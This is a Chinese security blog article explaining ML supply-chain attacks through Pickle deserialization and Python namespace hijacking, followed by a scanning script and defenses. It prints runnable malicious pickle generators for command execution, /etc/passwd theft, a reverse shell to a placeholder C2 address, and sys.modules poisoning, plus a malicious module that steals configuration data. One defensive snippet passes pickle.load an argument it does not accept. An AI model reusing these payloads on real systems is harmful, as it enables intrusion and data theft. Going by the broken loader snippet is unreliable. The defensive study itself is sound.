AI-ML供应链攻击实战:从Pickle反序列化到模型命名空间劫持全程复现

发布时间:2026/7/27 17:39:21

AI-ML供应链攻击实战:从Pickle反序列化到模型命名空间劫持全程复现 近几年传统软件供应链安全的防护体系已经趋于成熟SBOM清单、依赖漏洞扫描、制品哈希校验、CI/CD安全卡点等机制基本封堵了普通源码、依赖包、二进制文件的常规攻击入口。但AI、机器学习场景的供应链攻击一直处于防护盲区。绝大多数企业安全团队、AI研发工程师都默认第三方预训练模型、开源权重文件、训练Pipeline序列化文件是“纯数据文件”。所有人都清楚exe、dll、py文件可以执行恶意代码却很少有人意识到pkl、pth、joblib这类模型权重文件本质是可执行的序列化代码载体。这也是ML供应链攻击最核心的底层逻辑攻击者不需要植入恶意源码只需要投放一个看似无害的模型权重就能在用户加载模型的瞬间突破隔离、执行任意代码甚至劫持Python运行时命名空间实现持久化驻留、内网横向渗透、模型投毒和数据窃取。本文从底层原理、漏洞根源、完整攻击链路、实战复现、检测脚本、防御方案全维度落地拆解Pickle反序列化RCE到ML命名空间劫持的完整攻击体系所有代码均可直接复制运行所有防御手段适配生产训练、推理、集群部署场景。1 ML供应链攻击面拆解区别于传统软件供应链的核心风险传统软件开发的供应链链路核心流转对象是代码、依赖包、编译产物攻击入口集中在npm、pip、maven等包管理器的恶意包、源码投毒、版本劫持。防护的核心是管住代码的输入和执行。机器学习工程的供应链链路完全重构整个流程新增了大量独有的资产和文件形态安全规则完全不通用。完整的ML供应链流转链路包含数据集、自定义网络结构、训练脚本、序列化Pipeline、模型权重文件、推理服务、集群缓存、开源预训练模型八大核心资产。其中高危攻击面集中在两个传统安全体系完全覆盖不到的环节序列化模型文件加载、运行时命名空间动态导入。1.1 传统安全工具的防护失效点主流的静态代码扫描、恶意文件检测工具只会识别脚本、二进制、压缩包中的恶意代码。对于pkl、pth、joblib文件工具会直接判定为数据文件跳过代码检测、恶意行为审计。安全团队常规的哈希校验、病毒查杀、依赖扫描全部无法覆盖模型文件的隐藏载荷。这就导致目前全网大量开源AI模型、权重文件都可以被植入后门且长期无人发现。1.2 ML场景两类核心高危攻击向量第一类是序列化代码执行向量。Python生态的Pickle序列化机制不是单纯的数据存储而是完整的对象状态存储。它可以记录Python对象的类信息、模块路径、执行方法、参数数据。文件加载的过程就是对象重建、方法触发的过程天然具备代码执行能力。PyTorch、Scikit-learn、TensorFlow旧版本全部依赖该机制存储模型。第二类是运行时命名空间劫持向量。ML模型训练和推理大量使用自定义网络层、自定义损失函数、自定义Pipeline组件。模型序列化时会绑定原始运行时的模块命名空间加载时动态回溯导入对应模块和类。攻击者可以通过覆盖同名类、污染全局模块缓存篡改模型运行逻辑实现无文件持久化攻击。1.3 链式攻击核心逻辑这两个漏洞不是独立存在而是可以无缝串联形成完整攻击链恶意模型文件落地后用户加载文件触发Pickle反序列化RCE利用RCE权限篡改Python全局模块缓存污染运行时命名空间后续模型完整重建、训练推理流程全部受控于恶意类最终实现数据窃取、模型投毒、集群横向扩散、服务持久化。2 Pickle反序列化漏洞底层原理与实战复现绝大多数开发者只知道Pickle可以存取Python对象但完全不了解其底层的执行逻辑这也是该漏洞长期泛滥的根本原因。想要彻底吃透防护逻辑必须从序列化底层机制拆解而不是单纯记忆“不要加载未知pkl文件”的口号。2.1 Pickle序列化核心机制__reduce__魔术方法Pickle序列化普通数据字符串、数字、列表、字典时仅做数据转码存储。但序列化自定义类实例对象时会优先读取对象的__reduce__方法返回值。__reduce__方法是Python原生的对象重构规则定义方法返回值固定为三元组结构可调用函数、执行参数、可选状态数据。Pickle加载文件时会自动调用该函数并传入对应参数完成对象还原。这就意味着攻击者可以自定义任意类重写__reduce__方法绑定系统命令、网络请求、文件读取等恶意行为将该对象序列化后写入模型文件。受害者加载文件的瞬间无需任何额外操作恶意代码自动执行。2.2 基础RCE载荷实战编写与复现下面提供可直接运行的恶意Pickle载荷代码模拟攻击者制作恶意模型文件的完整流程包含命令执行、反弹Shell、本地文件读取三类主流攻击行为。# 恶意Pickle载荷生成器 - 实战攻击代码importpickleimportosimportsubprocessimportsocket# 1. 系统命令执行载荷classCmdExecPayload:def__reduce__(self):# 自定义任意系统命令此处示例读取环境变量、写入恶意文件return(os.system,(echo ML_SupplyChain_Attack /tmp/attack_log.txt,))# 2. 本地文件窃取载荷classFileStealPayload:def__reduce__(self):defsteal_file():try:withopen(/etc/passwd,r,encodingutf-8)asf:dataf.read()# 此处可替换为上传至攻击者C2服务器returndataexceptExceptionase:returnstr(e)return(steal_file,())# 3. 简易反弹Shell载荷适配内网渗透classReverseShellPayload:def__reduce__(self):defreverse_shell():# 攻击者C2 IP和端口自行替换attack_ip127.0.0.1attack_port9999ssocket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((attack_ip,attack_port))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)subprocess.call([/bin/bash,-i])return(reverse_shell,())# 生成恶意模型文件模拟pkl模型权重if__name____main__:# 生成命令执行恶意文件withopen(malicious_model.pkl,wb)asf:pickle.dump(CmdExecPayload(),f)print(恶意pkl模型文件生成完成malicious_model.pkl)# 生成文件窃取恶意文件withopen(steal_model.pkl,wb)asf:pickle.dump(FileStealPayload(),f)print(文件窃取pkl模型文件生成完成steal_model.pkl)受害者加载文件的代码就是行业内最通用的标准写法无任何异常特征常规代码审计无法发现问题# 受害者常规模型加载代码高危importpickle# 业务通用加载逻辑无任何防护model_datapickle.load(open(malicious_model.pkl,rb))执行加载代码后系统会自动执行预设恶意命令完成文件写入、信息读取、内网反弹等操作。整个过程无报错、无异常弹窗完全静默执行。2.3 PyTorch .pth文件同源风险深度拆解大量开发者存在认知误区认为PyTorch的pth权重文件是专用模型格式不存在Pickle漏洞。实际PyTorch底层的模型存储、加载逻辑完全复用Python原生Pickle协议。torch.load()函数底层默认开启pickle反序列化解析用来还原模型的网络结构、参数配置、自定义层信息。这意味着所有适用于pkl文件的攻击载荷全部可以直接移植到pth权重文件中攻击效果完全一致。# 高危PyTorch模型加载代码全网通用风险代码importtorch# 默认启用Pickle反序列化存在RCE风险modeltorch.load(malicious_weight.pth)PyTorch官方在新版本中提供了weights_only参数开启后仅加载权重数值禁止解析Python对象是目前最简单有效的基础防护手段但全网绝大多数生产环境均未启用该参数。2.4 Pickle攻击载荷执行流程图A[攻击者制作恶意载荷] – 重写__reduce__绑定恶意函数 -- B[Pickle序列化生成pkl/pth文件]B – 上传开源平台/业务投递 -- C[受害者获取模型文件]C – 业务代码执行pickle.load/torch.load -- D[触发反序列化解析]D – 自动调用__reduce__方法 -- E[执行系统命令/文件读取/反弹Shell]E – 获取服务器权限 -- F[初始攻击立足点达成]3 ML模型命名空间劫持高阶攻击原理与实战Pickle反序列化RCE只是初始突破口只能完成单次代码执行攻击时效性短、容易被日志捕获。而命名空间劫持是ML供应链攻击的高阶核心可以实现无文件持久化、进程常驻、逻辑篡改、静默投毒隐蔽性和危害性远超普通RCE漏洞。3.1 ML模型命名空间运行机制普通序列化文件仅存储数据而ML自定义模型序列化文件会完整记录对象的溯源信息模块路径、类名称、继承关系、初始化参数。举个实战场景开发者自定义一个卷积网络层MyConv放在mynet.py文件中训练模型时实例化该类并完成训练。序列化模型时Pickle会记录该对象归属模块mynet、归属类MyConv。当其他人加载该模型时解析器不会使用本地现有类而是动态根据记录的模块名回溯导入对应模块和类完成模型重建。这个动态导入的机制就是命名空间劫持的核心突破口。3.2 两类命名空间劫持攻击路径实战复现命名空间劫持分为本地模块覆盖劫持、内存缓存污染劫持两种方式前者门槛低、适配所有场景后者无文件落地、隐蔽性极强适配生产集群环境。3.2.1 本地模块覆盖劫持入门实战攻击逻辑非常清晰攻击者提前知晓目标模型绑定的自定义类名和模块名制作同名恶意模块文件利用Python模块搜索优先级规则覆盖原有正常模块。Python导入模块时优先检索当前工作目录、自定义路径最后检索系统依赖库。攻击者只需在业务目录放置同名恶意py文件即可实现类覆盖。第一步正常业务自定义网络类正常文件 mynet.py# 正常业务代码 mynet.pyclassMyConv:def__init__(self):print(正常卷积网络层初始化完成)defforward(self,x):returnx第二步攻击者制作恶意同名模块文件恶意 mynet.py# 恶意劫持模块覆盖原有正常类importosimportsys# 模块导入阶段自动执行恶意代码print(【命名空间劫持触发】恶意模块加载成功)os.system(echo Namespace_Hijack /tmp/hijack_log.txt)classMyConv:def__init__(self):# 初始化植入持久化恶意逻辑self.steal_data()print(恶意网络层初始化完成后门已驻留)defforward(self,x):# 推理阶段持续触发恶意行为self.send_infer_data(x)returnxdefsteal_data(self):# 窃取本地训练数据、配置文件try:withopen(./config.ini,r,encodingutf-8)asf:config_dataf.read()print(窃取业务配置成功)except:passdefsend_infer_data(self,data):# 可替换为上传推理数据至C2服务器print(拦截推理数据完成数据窃取)第三步加载绑定MyConv类的恶意模型文件触发劫持。模型加载时会优先导入恶意mynet模块所有网络层初始化、推理流程全部受控。该攻击的核心优势是完全贴合业务流程恶意代码嵌入模型推理、训练核心链路常规日志审计、进程监控无法区分正常业务和恶意行为。3.2.2 内存sys.modules污染劫持高阶无文件攻击本地文件劫持会落地恶意py文件存在被文件扫描查杀的风险。高阶攻击会结合Pickle RCE在内存中直接污染sys.modules全局模块缓存全程无文件落地、无磁盘写入隐蔽性拉满。sys.modules是Python全局模块缓存字典所有导入过的模块都会常驻内存。模型动态导入模块时会优先读取该缓存字典不会重新读取磁盘文件。攻击者通过Pickle RCE篡改缓存即可实现内存级命名空间劫持。# 无文件命名空间劫持载荷生成代码importpickleimportsysimporttypes# 定义内存恶意类classEvilNet:def__init__(self):print(内存级命名空间劫持成功无文件后门驻留)defforward(self,x):print(劫持模型推理流程篡改预测结果)returnx*0# 定义污染模块载荷classModuleHijackPayload:def__reduce__(self):defhijack_module():# 动态创建恶意模块对象evil_moduletypes.ModuleType(mynet)evil_module.MyConvEvilNet# 污染全局模块缓存sys.modules[mynet]evil_modulereturnTruereturn(hijack_module,())# 生成高阶恶意模型文件withopen(memory_hijack_model.pkl,wb)asf:pickle.dump(ModuleHijackPayload(),f)print(无文件内存劫持模型生成完成)加载该模型文件后RCE载荷会直接替换内存中的mynet模块后续所有依赖该模块的模型操作、业务逻辑全部调用恶意类磁盘无任何恶意文件溯源难度极高。3.3 命名空间劫持危害分层详解第一层危害是数据窃取。劫持模型前向传播、数据加载流程后攻击者可以拦截所有训练数据集、用户推理数据、业务特征数据批量上传至外部服务器造成用户隐私、商业数据泄露。第二层危害是模型投毒。恶意类可以篡改模型权重、偏移参数、推理逻辑在不影响模型整体准确率的前提下植入隐蔽后门。针对特定输入输出预设恶意结果实现风控绕过、识别篡改、业务欺诈。第三层危害是服务持久化。恶意类常驻模型进程内存推理服务、训练服务长期运行的场景下后门会持续驻留跟随服务重启自动恢复实现长期控制。第四层危害是集群横向渗透。ML训练、推理集群通常共享存储、密钥、权限凭证攻击者通过劫持进程获取集群配置、节点信息、访问令牌即可横向渗透至集群所有节点控制整个AI算力集群。3.4 完整链式攻击架构图A[攻击者投放恶意模型pkl/pth] -- B[受害者加载模型触发Pickle RCE]B -- C[内存执行恶意代码 污染sys.modules缓存]C -- D[劫持模型自定义类命名空间]D -- E1[数据窃取拦截训练/推理数据]D -- E2[模型投毒篡改推理逻辑与权重]D -- E3[进程驻留实现持久化后门]D -- E4[权限扩散窃取集群凭证横向渗透]E1 E2 E3 E4 -- F[AI集群完全受控]4 全网通用ML供应链攻击真实落地场景这类攻击不是实验室理论漏洞而是可以直接落地、常态化存在的实战攻击方式目前全网大量企业AI业务都暴露在该风险下。下面梳理三个高频真实攻击场景。4.1 开源模型平台投毒场景Hugging Face、Github、Gitee、各类AI模型社区任何人都可以上传预训练权重、模型文件、Pipeline文件。攻击者批量上传植入Pickle载荷和命名空间劫持逻辑的恶意模型标注高精度、开源免费、轻量化等标签吸引开发者下载使用。企业AI工程师下载恶意模型后直接加载用于模型微调、业务推理、项目开发无需任何特殊操作即可触发攻击研发环境、测试环境、生产环境批量沦陷。4.2 团队协作文件投毒场景中小型AI团队内部模型文件、训练缓存、Pipeline文件通过网盘、企业微信、Git仓库流转。攻击者利用团队信任机制替换正常模型文件为恶意版本团队成员加载文件后触发攻击。该场景针对性极强攻击者可以提前适配团队自定义网络结构、模块命名规则制作精准的命名空间劫持载荷隐蔽性远超通用恶意模型。4.3 CI/CD流水线自动拉取模型场景现代化AI研发流水线会自动拉取远程模型权重、缓存文件完成模型部署、迭代、测试。流水线运行权限通常包含服务器读写权限、集群访问权限、镜像构建权限。恶意模型被流水线自动加载后攻击代码会以流水线高权限执行直接渗透构建服务器、镜像仓库、生产集群造成全域安全事故。5 实战检测恶意Pickle模型扫描脚本可直接部署目前市面没有成熟的专用ML模型恶意载荷检测工具我提供一套完整可落地的Python扫描脚本支持批量检测pkl、pth、joblib文件识别Pickle恶意载荷、命名空间劫持特征可直接集成到CI/CD、本地安全检测、服务器定时巡检。# AI模型恶意Pickle载荷检测工具 v1.0# 支持格式.pkl .pth .joblib# 检测特征__reduce__魔术方法、系统调用、模块篡改、命令执行、内网渗透特征importosimportreimportargparse# 定义恶意特征规则覆盖主流Pickle攻击载荷MALICIOUS_RULES[b__reduce__,bos.system,bsubprocess,bsys.modules,bsocket.connect,bdup2,breverse_shell,beval(,bexec(,bopen(,brequests.get,bhttp://,bhttps://]# 支持扫描的文件后缀SUFFIX_WHITE(.pkl,.pth,.joblib)defscan_file(file_path):扫描单个模型文件try:withopen(file_path,rb)asf:contentf.read()hit_rules[]forruleinMALICIOUS_RULES:ifruleincontent:hit_rules.append(rule.decode(utf-8))ifhit_rules:print(f[!] 发现恶意载荷 | 文件{file_path}| 命中特征{hit_rules})returnTrueelse:print(f[√] 安全文件 |{file_path})returnFalseexceptExceptionase:print(f[x] 文件扫描失败{file_path}| 错误{str(e)})returnTruedefscan_dir(dir_path):批量扫描目录下所有模型文件risk_files[]forroot,_,filesinos.walk(dir_path):forfileinfiles:iffile.endswith(SUFFIX_WHITE):file_full_pathos.path.join(root,file)ifscan_file(file_full_path):risk_files.append(file_full_path)returnrisk_filesif__name____main__:parserargparse.ArgumentParser(descriptionML模型Pickle恶意载荷批量检测工具)parser.add_argument(--path,requiredTrue,help扫描文件/目录路径)argsparser.parse_args()ifos.path.isfile(args.path):scan_file(args.path)elifos.path.isdir(args.path):risk_listscan_dir(args.path)print(f\n扫描完成共发现风险文件{len(risk_list)}个)ifrisk_list:foriteminrisk_list:print(f风险文件{item})else:print(路径不存在)脚本使用命令直接复制终端执行即可# 扫描单个模型文件 python pickle_scan.py --path ./malicious_model.pkl # 批量扫描整个模型目录 python pickle_scan.py --path ./model_zoo/该脚本基于二进制特征匹配不加载模型文件不会触发恶意代码执行绝对安全适配所有生产环境。6 分层防御体系从临时应急到长效落地方案结合第一性原理追溯漏洞根源所有ML供应链攻击的核心问题只有两个不安全的序列化解析机制、不受控的动态模块导入机制。所有防御方案都围绕这两个根源设计分层落地、逐级加固。6.1 基础应急防护阻断Pickle代码执行优先解决最直接的RCE漏洞全员修改模型加载代码杜绝默认不安全加载方式。PyTorch环境强制启用权重安全加载模式仅读取数值参数禁止解析Python对象彻底杜绝__reduce__载荷执行# PyTorch 安全加载写法生产强制使用importtorch# weights_onlyTrue 关闭对象解析仅加载权重数据modeltorch.load(safe_weight.pth,weights_onlyTrue)通用Python序列化场景彻底淘汰Pickle存储模型和数据集替换为行业安全标准格式SafeTensors、ONNX、Numpy二进制、JSON。这类格式仅存储纯数据无任何代码解析、对象重建逻辑从根源杜绝攻击。所有外部来源的模型文件必须先经过沙箱扫描、特征检测、哈希校验禁止直接在训练、推理、开发环境加载未知模型。6.2 进阶防护彻底封堵命名空间劫持命名空间劫持的核心是动态无限制导入模块防护核心是白名单强制绑定可信类禁止动态回溯导入未知模块。# 安全模型加载自定义类白名单绑定importpicklefrommynetimportMyConv,MyBN# 仅允许可信类禁止动态导入外部模块TRUSTED_CLASSES{MyConv:MyConv,MyBN:MyBN}withopen(model.pkl,rb)asf:# 关闭自动导入强制使用本地可信类modelpickle.load(f,fix_importsFalse,custom_objectsTRUSTED_CLASSES)严格管控Python模块搜索路径清理业务环境下的当前目录检索权限限制sys.path仅包含官方依赖库、业务可信目录杜绝本地同名恶意模块覆盖。容器化部署的推理、训练服务开启文件系统只读权限禁止运行时写入新的py模块文件封堵本地模块劫持路径。6.3 长效企业级供应链管控方案第一搭建企业内部私有模型仓库统一收纳、审核、存储所有模型权重禁止研发人员直接从公网下载模型投入业务使用。所有外部模型入库前必须完成恶意特征扫描、哈希备案、安全审计。第二CI/CD流水线新增模型安全卡点集成上文扫描脚本流水线构建、部署阶段自动扫描所有模型文件发现恶意特征直接阻断流程拦截风险上线。第三全量模型文件维护SHA256哈希清单所有模型加载前强制校验哈希值防止模型文件被替换、篡改。第四ML进程最小权限运行训练、推理服务禁止root、高权限账号启动限制恶意代码逃逸容器、读写宿主机、访问集群凭证的能力降低攻击危害。7 总结AI-ML供应链攻击的隐蔽性来自行业长期的认知偏差所有人都把模型文件当数据攻击者却把模型文件当代码。Pickle反序列化漏洞提供了初始攻击入口命名空间劫持提供了持久化、高阶渗透的能力两者结合形成了完整、成熟、可批量落地的攻击体系。防护的核心不是堆砌安全规则而是回归技术本质彻底淘汰不安全的序列化机制、严格管控模型加载的动态导入权限、建立专属的ML供应链安全审计体系。在AI规模化落地的当下模型文件已经成为企业网络安全的核心突破口这部分防护能力是所有AI研发、安全团队必须补齐的短板。互动提问1、你的项目中是否还在直接使用torch.load默认加载和 pickle.load 加载外部模型2、你们团队目前对开源预训练模型是否有专门的安全检测和哈希校验流程欢迎在评论区留言交流。

相关新闻